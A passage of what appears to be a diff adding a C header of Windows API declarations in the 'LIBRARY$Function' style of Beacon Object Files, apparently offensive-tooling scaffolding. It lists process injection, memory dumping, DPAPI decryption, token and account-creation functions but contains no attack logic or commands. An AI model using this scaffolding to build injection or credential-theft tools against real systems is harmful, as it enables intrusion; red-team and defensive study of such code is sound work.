lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData); +WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExW(HKEY hKey,LPCWSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData); +WINADVAPI LONG WINAPI ADVAPI32$RegSaveKeyExA(HKEY hKey,LPCSTR lpFile,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD Flags); +WINADVAPI LONG WINAPI ADVAPI32$RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,CONST BYTE *lpData,DWORD cbData); +WINADVAPI LONG WINAPI ADVAPI32$RegSetValueExW(HKEY hKey,LPCWSTR lpValueName,DWORD Reserved,DWORD dwType,CONST BYTE *lpData,DWORD cbData); +WINADVAPI WINBOOL WINAPI ADVAPI32$InitiateSystemShutdownExA(LPSTR lpMachineName, LPSTR lpMessage, DWORD dwTimeout, BOOL bForceAppsClosed, BOOL bRebootAfterShutdown, DWORD dwReason); + +//NTDLL +WINBASEAPI NTSTATUS NTAPI NTDLL$NtCreateFile(PHANDLE FileHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,PIO_STATUS_BLOCK IoStatusBlock,PLARGE_INTEGER AllocationSize,ULONG FileAttributes,ULONG ShareAccess,ULONG CreateDisposition,ULONG CreateOptions,PVOID EaBuffer,ULONG EaLength); +WINBASEAPI NTSTATUS NTAPI NTDLL$NtClose(HANDLE Handle); +WINBASEAPI NTSTATUS NTAPI NTDLL$NtRenameKey(HANDLE keyHandle, PUNICODE_STRING New_Name); +WINBASEAPI NTSTATUS NTAPI NTDLL$NtQueueApcThread(_In_ HANDLE ThreadHandle, _In_ PVOID ApcRoutine, _In_ PVOID ApcRoutineContext OPTIONAL, _In_ PVOID ApcStatusBlock OPTIONAL, _In_ ULONG ApcReserved OPTIONAL); +NTSYSAPI NTSTATUS NTAPI NTDLL$RtlGetVersion(PRTL_OSVERSIONINFOW lpVersionInformation); + +//IMAGEHLP +WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageEnumerateCertificates(HANDLE FileHandle,WORD TypeFilter,PDWORD CertificateCount,PDWORD Indices,DWORD IndexCount); +WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateHeader(HANDLE FileHandle,DWORD CertificateIndex,LPWIN_CERTIFICATE Certificateheader); +WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateData(HANDLE FileHandle,DWORD CertificateIndex,LPWIN_CERTIFICATE Certificate,PDWORD RequiredLength); + +//CRYPT32 +WINBASEAPI WINBOOL WINAPI CRYPT32$CryptVerifyMessageSignature (PCRYPT_VERIFY_MESSAGE_PARA pVerifyPara, DWORD dwSignerIndex, const BYTE *pbSignedBlob, DWORD cbSignedBlob, BYTE *pbDecoded, DWORD *pcbDecoded, PCCERT_CONTEXT *ppSignerCert); +WINBASEAPI DWORD WINAPI CRYPT32$CertGetNameStringW (PCCERT_CONTEXT pCertContext, DWORD dwType, DWORD dwFlags, void *pvTypePara, LPWSTR pszNameString, DWORD cchNameString); +WINBASEAPI WINBOOL WINAPI CRYPT32$CertFreeCertificateContext (PCCERT_CONTEXT pCertContext); +WINBASEAPI BOOL WINAPI CRYPT32$CryptUnprotectData(DATA_BLOB *, LPWSTR *, DATA_BLOB *, PVOID, CRYPTPROTECT_PROMPTSTRUCT *, DWORD, DATA_BLOB *); +WINIMPM WINBOOL WINAPI CRYPT32$CryptEncodeObjectEx (DWORD dwCertEncodingType, LPCSTR lpszStructType, const void *pvStructInfo, DWORD dwFlags, PCRYPT_ENCODE_PARA pEncodePara, void *pvEncoded, DWORD *pcbEncoded); +WINIMPM WINBOOL WINAPI CRYPT32$CryptBinaryToStringW (CONST BYTE *pbBinary, DWORD cbBinary, DWORD dwFlags, LPWSTR pszString, DWORD *pcchString); +WINIMPM HCERTSTORE WINAPI CRYPT32$PFXImportCertStore (CRYPT_DATA_BLOB *pPFX, LPCWSTR szPassword, DWORD dwFlags); +WINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertEnumCertificatesInStore (HCERTSTORE hCertStore, PCCERT_CONTEXT pPrevCertContext); +WINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateContextProperty (PCCERT_CONTEXT pCertContext, DWORD dwPropId, void *pvData, DWORD *pcbData); +WINIMPM WINBOOL WINAPI CRYPT32$CertAddCertificateContextToStore (HCERTSTORE hCertStore, PCCERT_CONTEXT pCertContext, DWORD dwAddDisposition, PCCERT_CONTEXT *ppStoreContext); +WINIMPM HCERTSTORE WINAPI CRYPT32$CertOpenStore (LPCSTR lpszStoreProvider, DWORD dwEncodingType, HCRYPTPROV_LEGACY hCryptProv, DWORD dwFlags, const void *pvPara); +WINIMPM WINBOOL WINAPI CRYPT32$CertCloseStore (HCERTSTORE hCertStore, DWORD dwFlags); +WINIMPM WINBOOL WINAPI CRYPT32$CertDeleteCertificateFromStore (PCCERT_CONTEXT pCertContext); +WINIMPM WINBOOL WINAPI CRYPT32$CryptBinaryToStringA (CONST BYTE *pbBinary, DWORD cbBinary, DWORD dwFlags, LPSTR pszString, DWORD *pcchString); +WINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertCreateCertificateContext (DWORD dwCertEncodingType, const BYTE *pbCertEncoded, DWORD cbCertEncoded); +WINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertFindCertificateInStore (HCERTSTORE hCertStore, DWORD dwCertEncodingType, DWORD dwFindFlags, DWORD dwFindType, const void *pvFindPara, PCCERT_CONTEXT pPrevCertContext); + +//DNSAPI +WINBASEAPI VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType); +WINBASEAPI int WINAPI DNSAPI$DnsGetCacheDataTable(PVOID data); + +//OLE32 +WINBASEAPI HRESULT WINAPI OLE32$CoInitializeEx (LPVOID pvReserved, DWORD dwCoInit); +WINBASEAPI HRESULT WINAPI OLE32$CoUninitialize (void); +WINBASEAPI HRESULT WINAPI OLE32$CoInitializeSecurity (PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE *asAuthSvc, void *pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void *pAuthList, DWORD dwCapabilities, void *pReserved3); +WINBASEAPI HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv); +WINBASEAPI HRESULT WINAPI OLE32$CLSIDFromString (LPCOLESTR lpsz, LPCLSID pclsid); +WINBASEAPI HRESULT WINAPI OLE32$IIDFromString (LPCOLESTR lpsz, LPIID lpiid); +WINBASEAPI int WINAPI OLE32$StringFromGUID2 (REFGUID rguid, LPOLESTR lpsz, int cchMax); +WINBASEAPI HRESULT WINAPI OLE32$CoSetProxyBlanket(IUnknown* pProxy, DWORD dwAuthnSvc, DWORD dwAuthzSvc, OLECHAR* pServerPrincName, DWORD dwAuthnLevel, DWORD dwImpLevel, RPC_AUTH_IDENTITY_HANDLE pAuthInfo, DWORD dwCapabilities); +WINBASEAPI LPVOID WINAPI OLE32$CoTaskMemAlloc(SIZE_T cb); +WINBASEAPI void WINAPI OLE32$CoTaskMemFree(LPVOID pv); + +//OLEAUT32 +WINBASEAPI BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR *); +WINBASEAPI INT WINAPI OLEAUT32$SysReAllocString(BSTR *, const OLECHAR *); +WINBASEAPI UINT WINAPI OLEAUT32$SysStringLen(BSTR); +WINBASEAPI BSTR WINAPI OLEAUT32$SysAllocStringByteLen(LPCSTR psz,UINT len); +WINBASEAPI UINT WINAPI OLEAUT32$SysStringByteLen(BSTR bstr); +WINBASEAPI void WINAPI OLEAUT32$SysFreeString(BSTR); +WINBASEAPI void WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg); +WINBASEAPI void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg); +WINBASEAPI HRESULT WINAPI OLEAUT32$SysAddRefString(BSTR); +WINBASEAPI HRESULT WINAPI OLEAUT32$VariantChangeType(VARIANTARG *pvargDest, VARIANTARG *pvarSrc, USHORT wFlags, VARTYPE vt); +WINBASEAPI void WINAPI OLEAUT32$VarFormatDateTime(LPVARIANT pvarIn,int iNamedFormat,ULONG dwFlags,BSTR *pbstrOut); +WINBASEAPI void WINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY *psa); +WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayLock(SAFEARRAY *psa); +WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayGetLBound(SAFEARRAY *psa, UINT nDim, LONG *plLbound); +WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayGetUBound(SAFEARRAY *psa, UINT nDim, LONG *plUbound); +WINBASEAPI HRESULT WINAPI OLEAUT32$SafeArrayGetElement(SAFEARRAY *psa, LONG *rgIndices, void *pv); +WINBASEAPI UINT WINAPI OLEAUT32$SafeArrayGetElemsize(SAFEARRAY *psa); + +//DBGHELP +WINBASEAPI WINBOOL WINAPI DBGHELP$MiniDumpWriteDump(HANDLE hProcess,DWORD ProcessId,HANDLE hFile,MINIDUMP_TYPE DumpType,CONST PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,CONST PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,CONST PMINIDUMP_CALLBACK_INFORMATION CallbackParam); + +//WLDAP32 +WINLDAPAPI LDAP* LDAPAPI WLDAP32$ldap_init(PSTR, ULONG); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_bind_s(LDAP *ld,const PSTR dn,const PCHAR cred,ULONG method); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_search_s(LDAP *ld,PSTR base,ULONG scope,PSTR filter,PZPSTR attrs,ULONG attrsonly,PLDAPMessage *res); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_entries(LDAP*,LDAPMessage*); +WINLDAPAPI struct berval **LDAPAPI WLDAP32$ldap_get_values_lenA (LDAP *ExternalHandle,LDAPMessage *Message,const PCHAR attr); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free_len(struct berval **vals); +WINLDAPAPI LDAPMessage* LDAPAPI WLDAP32$ldap_first_entry(LDAP *ld,LDAPMessage *res); +WINLDAPAPI LDAPMessage* LDAPAPI WLDAP32$ldap_next_entry(LDAP*,LDAPMessage*); +WINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_first_attribute(LDAP *ld,LDAPMessage *entry,BerElement **ptr); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_values(PCHAR); +WINLDAPAPI PCHAR * LDAPAPI WLDAP32$ldap_get_values(LDAP *ld,LDAPMessage *entry,const PSTR attr); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free(PCHAR *); +WINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_next_attribute(LDAP *ld,LDAPMessage *entry,BerElement *ptr); +WINLDAPAPI VOID LDAPAPI WLDAP32$ber_free(BerElement *pBerElement,INT fbuf); +WINLDAPAPI VOID LDAPAPI WLDAP32$ldap_memfree(PCHAR); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind(LDAP*); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind_s(LDAP*); +WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_msgfree(LDAPMessage*); + +//RPCRT4 +RPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$UuidToStringA(UUID *Uuid,RPC_CSTR *StringUuid); +RPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$RpcStringFreeA(RPC_CSTR *String); + +//PSAPI +WINBASEAPI WINBOOL WINAPI PSAPI$EnumProcesses(DWORD *lpidProcess,DWORD cb,DWORD *cbNeeded); +WINBASEAPI WINBOOL WINAPI PSAPI$EnumProcessModules(HANDLE hProcess,HMODULE *lphModule,DWORD cb,LPDWORD lpcbNeeded); +WINBASEAPI DWORD WINAPI PSAPI$GetModuleBaseNameW(HANDLE hProcess,HMODULE hModule,LPWSTR lpBaseName,DWORD nSize); + +//bcrypt + +WINBASEAPI NTSTATUS WINAPI BCRYPT$BCryptOpenAlgorithmProvider (BCRYPT_ALG_HANDLE *phAlgorithm, LPCWSTR pszAlgId, LPCWSTR pszImplementation, ULONG dwFlags); +WINBASEAPI NTSTATUS WINAPI BCRYPT$BCryptCreateHash (BCRYPT_ALG_HANDLE hAlgorithm, BCRYPT_HASH_HANDLE *phHash, PUCHAR pbHashObject, ULONG cbHashObject, PUCHAR pbSecret, ULONG cbSecret, ULONG dwFlags); +WINBASEAPI NTSTATUS WINAPI BCRYPT$BCryptHashData (BCRYPT_HASH_HANDLE hHash, PUCHAR pbInput, ULONG cbInput, ULONG dwFlags); +WINBASEAPI NTSTATUS WINAPI BCRYPT$BCryptFinishHash (BCRYPT_HASH_HANDLE hHash, PUCHAR pbOutput, ULONG cbOutput, ULONG dwFlags); +WINBASEAPI NTSTATUS WINAPI BCRYPT$BCryptDestroyHash (BCRYPT_HASH_HANDLE hHash); +WINBASEAPI NTSTATUS WINAPI BCRYPT$BCryptCloseAlgorithmProvider (BCRYPT_ALG_HANDLE hAlgorithm, ULONG dwFlags); + +// GDI32 +WINBASEAPI HFONT WINAPI GDI32$CreateFontW(int cHeight, int cWidth, int cEscapement, int cOrientation, int cWeight, DWORD bItalic, DWORD bUnderline, DWORD bStrikeOut, DWORD iCharSet, DWORD iOutPrecision, DWORD iClipPrecision, DWORD iQuality, DWORD iPitchAndFamily, LPCWSTR pszFaceName); +WINBASEAPI BOOL WINAPI GDI32$DeleteObject(HGDIOBJ ho); +WINBASEAPI HGDIOBJ WINAPI GDI32$SelectObject(HDC hdc, HGDIOBJ h); +WINBASEAPI COLORREF WINAPI GDI32$SetTextColor(HDC hdc, COLORREF color); +WINBASEAPI COLORREF WINAPI GDI32$SetBkColor(HDC hdc, COLORREF color); +WINBASEAPI int WINAPI GDI32$SetBkMode(HDC hdc, int mode); +WINBASEAPI HBRUSH WINAPI GDI32$CreateSolidBrush(COLORREF color); + +//SYSTEMFUNCTION +//https://learn.microsoft.com/en-us/windows/win32/api/ntsecapi/nf-ntsecapi-rtlgenrandom +WINBASEAPI WINBOOL WINAPI ADVAPI32$SystemFunction036(PVOID RandomBuffer,ULONG RandomBufferLength); +#ifdef RtlGenRandom +#undef RtlGenRandom +#endif +#define RtlGenRandom ADVAPI32$SystemFunction036 + + +#else +//KERNEL32 +#define KERNEL32$VirtualAlloc VirtualAlloc +#define KERNEL32$VirtualAllocEx VirtualAllocEx +#define KERNEL32$VirtualProtectEx VirtualProtectEx +#define KERNEL32$VirtualQueryEx VirtualQueryEx +#define KERNEL32$VirtualFree VirtualFree +#define KERNEL32$VirtualFreeEx VirtualFreeEx +#define KERNEL32$LocalAlloc LocalAlloc +#define KERNEL32$LocalFree LocalFree +#define KERNEL32$GlobalAlloc GlobalAlloc +#define KERNEL32$GlobalFree GlobalFree +#define KERNEL32$HeapAlloc HeapAlloc +#define KERNEL32$HeapReAlloc HeapReAlloc +#define KERNEL32$GetProcessHeap GetProcessHeap +#define KERNEL32$HeapFree HeapFree +#define KERNEL32$FormatMessageA FormatMessageA +#define KERNEL32$WideCharToMultiByte WideCharToMultiByte +#define KERNEL32$MultiByteToWideChar MultiByteToWideChar +#define KERNEL32$FileTimeToLocalFileTime FileTimeToLocalFileTime +#define KERNEL32$FileTimeToSystemTime FileTimeToSystemTime +#define KERNEL32$GetDateFormatW GetDateFormatW +#define KERNEL32$GetSystemTimeAsFileTime GetSystemTimeAsFileTime +#define KERNEL32$GetSystemInfo GetSystemInfo +#define KERNEL32$GetLastError GetLastError +#define KERNEL32$SetLastError SetLastError +#define KERNEL32$CloseHandle CloseHandle +#define KERNEL32$GetTickCount GetTickCount +#define KERNEL32$CreateFiber CreateFiber +#define KERNEL32$ConvertThreadToFiber ConvertThreadToFiber +#define KERNEL32$ConvertFiberToThread ConvertFiberToThread +#define KERNEL32$DeleteFiber DeleteFiber +#define KERNEL32$SwitchToFiber SwitchToFiber +#define KERNEL32$WaitForSingleObject WaitForSingleObject +#define KERNEL32$Sleep Sleep +#define KERNEL32$CreateProcessW CreateProcessW +#define KERNEL32$CreateProcessA CreateProcessA +#define KERNEL32$OpenProcess OpenProcess +#define KERNEL32$GetCurrentProcess GetCurrentProcess +#define KERNEL32$GetCurrentThread GetCurrentThread +#define KERNEL32$GetExitCodeProcess GetExitCodeProcess +#define KERNEL32$WriteProcessMemory WriteProcessMemory +#define KERNEL32$ReadProcessMemory ReadProcessMemory +#define KERNEL32$GetCurrentProcessId GetCurrentProcessId +#define KERNEL32$GetProcessIdOfThread GetProcessIdOfThread +#define KERNEL32$ProcessIdToSessionId ProcessIdToSessionId +#define KERNEL32$InitializeProcThreadAttributeList InitializeProcThreadAttributeList +#define KERNEL32$UpdateProcThreadAttribute UpdateProcThreadAttribute +#define KERNEL32$DeleteProcThreadAttributeList DeleteProcThreadAttributeList +#define KERNEL32$CreateThread CreateThread +#define KERNEL32$CreateRemoteThread CreateRemoteThread +#define KERNEL32$OpenThread OpenThread +#define KERNEL32$GetThreadContext GetThreadContext +#define KERNEL32$SetThreadContext SetThreadContext +#define KERNEL32$SuspendThread SuspendThread +#define KERNEL32$ResumeThread ResumeThread +#define KERNEL32$GetComputerNameExW GetComputerNameExW +#define KERNEL32$lstrcmpA lstrcmpA +#define KERNEL32$lstrcmpW lstrcmpW +#define KERNEL32$lstrcmpiW lstrcmpiW +#define KERNEL32$lstrlenA lstrlenA +#define KERNEL32$lstrlenW lstrlenW +#define KERNEL32$lstrcatW lstrcatW +#define KERNEL32$lstrcpynW lstrcpynW +#define KERNEL32$GetFullPathNameW GetFullPathNameW +#define KERNEL32$GetFileAttributesW GetFileAttributesW +#define KERNEL32$GetCurrentDirectoryW GetCurrentDirectoryW +#define KERNEL32$FindFirstFileW FindFirstFileW +#define KERNEL32$FindNextFileW FindNextFileW +#define KERNEL32$FindClose FindClose +#define KERNEL32$ExpandEnvironmentStringsW ExpandEnvironmentStringsW +#define KERNEL32$ExpandEnvironmentStringsA ExpandEnvironmentStringsA +#define KERNEL32$GetTempPathW GetTempPathW +#define KERNEL32$GetTempFileNameW GetTempFileNameW +#define KERNEL32$CreateFileW CreateFileW +#define KERNEL32$CreateFileA CreateFileA +#define KERNEL32$GetFileSize GetFileSize +#define KERNEL32$ReadFile ReadFile +#define KERNEL32$WriteFile WriteFile +#define KERNEL32$DeleteFileW DeleteFileW +#define KERNEL32$CreateFileMappingA CreateFileMappingA +#define KERNEL32$MapViewOfFile MapViewOfFile +#define KERNEL32$UnmapViewOfFile UnmapViewOfFile +#define KERNEL32$GetEnvironmentStrings GetEnvironmentStrings +#define KERNEL32$FreeEnvironmentStringsA FreeEnvironmentStringsA +#define KERNEL32$CreateToolhelp32Snapshot CreateToolhelp32Snapshot +#define KERNEL32$Process32First Process32First +#define KERNEL32$Process32Next Process32Next +#define KERNEL32$LoadLibraryA LoadLibraryA +#define KERNEL32$GetProcAddress GetProcAddress +#define KERNEL32$FreeLibrary FreeLibrary +#define KERNEL32$CloseHandle CloseHandle + +//IPHLPAPI +#define IPHLPAPI$GetAdaptersInfo GetAdaptersInfo +#define IPHLPAPI$GetAdaptersInfo GetAdaptersInfo +#define IPHLPAPI$GetIpForwardTable GetIpForwardTable +#define IPHLPAPI$GetNetworkParams GetNetworkParams +#define IPHLPAPI$GetUdpTable GetUdpTable +#define IPHLPAPI$GetTcpTable GetTcpTable + +//MSVCRT +#define MSVCRT$calloc calloc +#define MSVCRT$realloc realloc +#define MSVCRT$free free +#define MSVCRT$memcmp memcmp +#define MSVCRT$memcpy memcpy +#define MSVCRT$memset memset +#define MSVCRT$sprintf sprintf +#define MSVCRT$vsnprintf vsnprintf +#define MSVCRT$_stricmp _stricmp +#define MSVCRT$strchr strchr +#define MSVCRT$strcmp strcmp +#define MSVCRT$strcpy strcpy +#define MSVCRT$strlen strlen +#define MSVCRT$wcsncmp wcsncmp +#define MSVCRT$strncmp strncmp +#define MSVCRT$strnlen strnlen +#define MSVCRT$strstr strstr +#define MSVCRT$strtok strtok +#define MSVCRT$swprintf swprintf +#define MSVCRT$_swprintf _swprintf +#define MSVCRT$wcscat wcscat +#define MSVCRT$wcsncat wcsncat +#define MSVCRT$_wcsicmp _wcsicmp +#define MSVCRT$wcscpy wcscpy +#define MSVCRT$wcscpy_s wcscpy_s +#define MSVCRT$wcschr wcschr +#define MSVCRT$wcsrchr wcsrchr +#define MSVCRT$wcslen wcslen +#define MSVCRT$wcsstr wcsstr +#define MSVCRT$wcstok wcstok +#define MSVCRT$wcstoul wcstoul +#define MSVCRT$_wtol _wtol +#define MSVCRT$swprintf_s swprintf_s + +//SHLWAPI +#define SHLWAPI$PathCombineW PathCombineW +#define SHLWAPI$PathFileExistsW PathFileExistsW +#define SHLWAPI$StrStrA StrStrA +#define SHELL32$ShellExecuteExW ShellExecuteExW + + +//WSOCK32 +#define WSOCK32$inet_addr inet_addr + +//WS2_32 +#define WS2_32$htonl htonl +#define WS2_32$htons htons +#define WS2_32$inet_ntoa inet_ntoa +#define WS2_32$InetNtopW InetNtopW +#define WS2_32$inet_pton inet_pton + +//NETAPI32 +#define NETAPI32$DsGetDcNameA DsGetDcNameA +#define NETAPI32$DsGetDcNameW DsGetDcNameW +#define NETAPI32$NetUserGetInfo NetUserGetInfo +#define NETAPI32$NetUserModalsGet NetUserModalsGet +#define NETAPI32$NetServerEnum NetServerEnum +#define NETAPI32$NetUserGetGroups NetUserGetGroups +#define NETAPI32$NetUserGetLocalGroups NetUserGetLocalGroups +#define NETAPI32$NetApiBufferFree NetApiBufferFree +#define NETAPI32$NetGetAnyDCName NetGetAnyDCName +#define NETAPI32$NetUserEnum NetUserEnum +#define NETAPI32$NetGroupGetUsers NetGroupGetUsers +#define NETAPI32$NetQueryDisplayInformation NetQueryDisplayInformation +#define NETAPI32$NetLocalGroupEnum NetLocalGroupEnum +#define NETAPI32$NetLocalGroupGetMembers NetLocalGroupGetMembers +#define NETAPI32$NetUserSetInfo NetUserSetInfo +#define NETAPI32$NetShareEnum NetShareEnum +#define NETAPI32$NetSessionEnum NetSessionEnum +#define NETAPI32$NetApiBufferFree NetApiBufferFree +#define NETAPI32$NetGroupAddUser NetGroupAddUser +#define NETAPI32$NetUserAdd NetUserAdd + +//MPR +#define MPR$WNetOpenEnumW WNetOpenEnumW +#define MPR$WNetEnumResourceW WNetEnumResourceW +#define MPR$WNetCloseEnum WNetCloseEnum +#define MPR$WNetGetNetworkInformationW WNetGetNetworkInformationW +#define MPR$WNetGetConnectionW WNetGetConnectionW +#define MPR$WNetGetResourceInformationW WNetGetResourceInformationW +#define MPR$WNetGetUserW WNetGetUserW +#define MPR$WNetAddConnection2W WNetAddConnection2W +#define MPR$WNetCancelConnection2W WNetCancelConnection2W + +//USER32 +#define USER32$CharPrevW CharPrevW +#define USER32$DdeInitializeA DdeInitializeA +#define USER32$DdeConnectList DdeConnectList +#define USER32$DdeDisconnectList DdeDisconnectList +#define USER32$DdeUninitialize DdeUninitialize +#define USER32$EnumDesktopWindows EnumDesktopWindows +#define USER32$EnumWindows EnumWindows +#define USER32$FindWindowA FindWindowA +#define USER32$FindWindowExA FindWindowExA +#define USER32$GetClassNameA GetClassNameA +#define USER32$GetPropA GetPropA +#define USER32$GetWindowThreadProcessId GetWindowThreadProcessId +#define USER32$GetWindowTextA GetWindowTextA +#define USER32$GetWindowLongA GetWindowLongA +#define USER32$GetWindowLongPtrA GetWindowLongPtrA +#define USER32$IsWindowVisible IsWindowVisible +#define USER32$PostMessageA PostMessageA +#define USER32$SendMessageA SendMessageA +#define USER32$SetPropA SetPropA +#define USER32$SetWindowLongA SetWindowLongA +#define USER32$SetWindowLongPtrA SetWindowLongPtrA +#define USER32$KillTimer KillTimer +#define USER32$SetTimer SetTimer +#define USER32$PostMessageW PostMessageW +#define USER32$BeginPaint BeginPaint +#define USER32$GetClientRect GetClientRect +#define USER32$FillRect FillRect +#define USER32$DrawTextW DrawTextW +#define USER32$EndPaint EndPaint +#define USER32$DestroyWindow DestroyWindow +#define USER32$PostQuitMessage PostQuitMessage +#define USER32$DefWindowProcW DefWindowProcW +#define USER32$DispatchMessageW DispatchMessageW +#define USER32$TranslateMessage TranslateMessage +#define USER32$GetMessageW GetMessageW +#define USER32$SetFocus SetFocus +#define USER32$RegisterClassExW RegisterClassExW +#define USER32$SetForegroundWindow SetForegroundWindow +#define USER32$UpdateWindow UpdateWindow +#define USER32$ShowWindow ShowWindow +#define USER32$UnregisterClassW UnregisterClassW +#define USER32$CreateWindowExW CreateWindowExW +#define USER32$GetSystemMetrics GetSystemMetrics + +//SSPICLI +#define SSPICLI$EnumerateSecurityPackagesA EnumerateSecurityPackagesA +#define SSPICLI$FreeContextBuffer FreeContextBuffer + +//SECUR32 +#define SECUR32$GetUserNameExA GetUserNameExA +#define SECUR32$GetUserNameExW GetUserNameExW +#define SECUR32$GetComputerObjectNameW GetComputerObjectNameW +#define SECUR32$FreeCredentialsHandle FreeCredentialsHandle +#define SECUR32$AcquireCredentialsHandleA AcquireCredentialsHandleA +#define SECUR32$InitializeSecurityContextA InitializeSecurityContextA +#define SECUR32$InitializeSecurityContextW InitializeSecurityContextW +#define SECUR32$AcceptSecurityContext AcceptSecurityContext +#define SECUR32$DeleteSecurityContext DeleteSecurityContext +#define SECUR32$AcquireCredentialsHandleA AcquireCredentialsHandleA +#define SECUR32$AcceptSecurityContext AcceptSecurityContext +#define SECUR32$LsaConnectUntrusted LsaConnectUntrusted +#define SECUR32$LsaDeregisterLogonProcess LsaDeregisterLogonProcess +#define SECUR32$LsaFreeReturnBuffer LsaFreeReturnBuffer +#define SECUR32$LsaLookupAuthenticationPackage LsaLookupAuthenticationPackage +#define SECUR32$LsaCallAuthenticationPackage LsaCallAuthenticationPackage + +//VERSION +#define VERSION$GetFileVersionInfoA GetFileVersionInfoA +#define VERSION$GetFileVersionInfoW GetFileVersionInfoW +#define VERSION$GetFileVersionInfoSizeA GetFileVersionInfoSizeA +#define VERSION$GetFileVersionInfoSizeW GetFileVersionInfoSizeW +#define VERSION$VerQueryValueA VerQueryValueA +#define VERSION$VerQueryValueW VerQueryValueW + +//ADVAPI32 +#define ADVAPI32$LogonUserA LogonUserA +#define ADVAPI32$LogonUserW LogonUserW +#define ADVAPI32$DuplicateTokenEx DuplicateTokenEx +#define ADVAPI32$AdjustTokenPrivileges AdjustTokenPrivileges +#define ADVAPI32$CreateProcessAsUserW CreateProcessAsUserW +#define ADVAPI32$CreateProcessWithLogonW CreateProcessWithLogonW +#define ADVAPI32$CreateProcessWithTokenW CreateProcessWithTokenW +#define ADVAPI32$OpenProcessToken OpenProcessToken +#define ADVAPI32$OpenThreadToken OpenThreadToken +#define ADVAPI32$GetTokenInformation GetTokenInformation +#define ADVAPI32$ConvertSidToStringSidA ConvertSidToStringSidA +#define ADVAPI32$ConvertSidToStringSidW ConvertSidToStringSidW +#define ADVAPI32$LookupAccountSidA LookupAccountSidA +#define ADVAPI32$LookupAccountSidW LookupAccountSidW +#define ADVAPI32$LookupPrivilegeNameA LookupPrivilegeNameA +#define ADVAPI32$LookupPrivilegeDisplayNameA LookupPrivilegeDisplayNameA +#define ADVAPI32$LookupPrivilegeValueA LookupPrivilegeValueA +#define ADVAPI32$GetFileSecurityW GetFileSecurityW +#define ADVAPI32$MapGenericMask MapGenericMask +#define ADVAPI32$LsaNtStatusToWinError LsaNtStatusToWinError +#define ADVAPI32$InitializeSecurityDescriptor InitializeSecurityDescriptor +#define ADVAPI32$GetSecurityDescriptorOwner GetSecurityDescriptorOwner +#define ADVAPI32$SetSecurityDescriptorDacl SetSecurityDescriptorDacl +#define ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW ConvertSecurityDescriptorToStringSecurityDescriptorW +#define ADVAPI32$GetSecurityDescriptorDacl GetSecurityDescriptorDacl +#define ADVAPI32$GetAclInformation GetAclInformation +#define ADVAPI32$GetAce GetAce +#define ADVAPI32$OpenSCManagerA OpenSCManagerA +#define ADVAPI32$OpenSCManagerW OpenSCManagerW +#define ADVAPI32$OpenServiceA OpenServiceA +#define ADVAPI32$OpenServiceW OpenServiceW +#define ADVAPI32$CreateServiceA CreateServiceA +#define ADVAPI32$QueryServiceStatus QueryServiceStatus +#define ADVAPI32$QueryServiceConfigA QueryServiceConfigA +#define ADVAPI32$CloseServiceHandle CloseServiceHandle +#define ADVAPI32$EnumServicesStatusExA EnumServicesStatusExA +#define ADVAPI32$EnumServicesStatusExW EnumServicesStatusExW +#define ADVAPI32$EnumDependentServicesA EnumDependentServicesA +#define ADVAPI32$QueryServiceStatusEx QueryServiceStatusEx +#define ADVAPI32$QueryServiceConfig2A QueryServiceConfig2A +#define ADVAPI32$ChangeServiceConfig2A ChangeServiceConfig2A +#define ADVAPI32$ChangeServiceConfigA ChangeServiceConfigA +#define ADVAPI32$StartServiceA StartServiceA +#define ADVAPI32$ControlService ControlService +#define ADVAPI32$DeleteService DeleteService +#define ADVAPI32$RegCloseKey RegCloseKey +#define ADVAPI32$RegConnectRegistryA RegConnectRegistryA +#define ADVAPI32$RegCopyTreeA RegCopyTreeA +#define ADVAPI32$RegCreateKeyA RegCreateKeyA +#define ADVAPI32$RegCreateKeyExA RegCreateKeyExA +#define ADVAPI32$RegCreateKeyExW RegCreateKeyExW +#define ADVAPI32$RegDeleteKeyExA RegDeleteKeyExA +#define ADVAPI32$RegDeleteKeyExW RegDeleteKeyExW +#define ADVAPI32$RegDeleteKeyValueA RegDeleteKeyValueA +#define 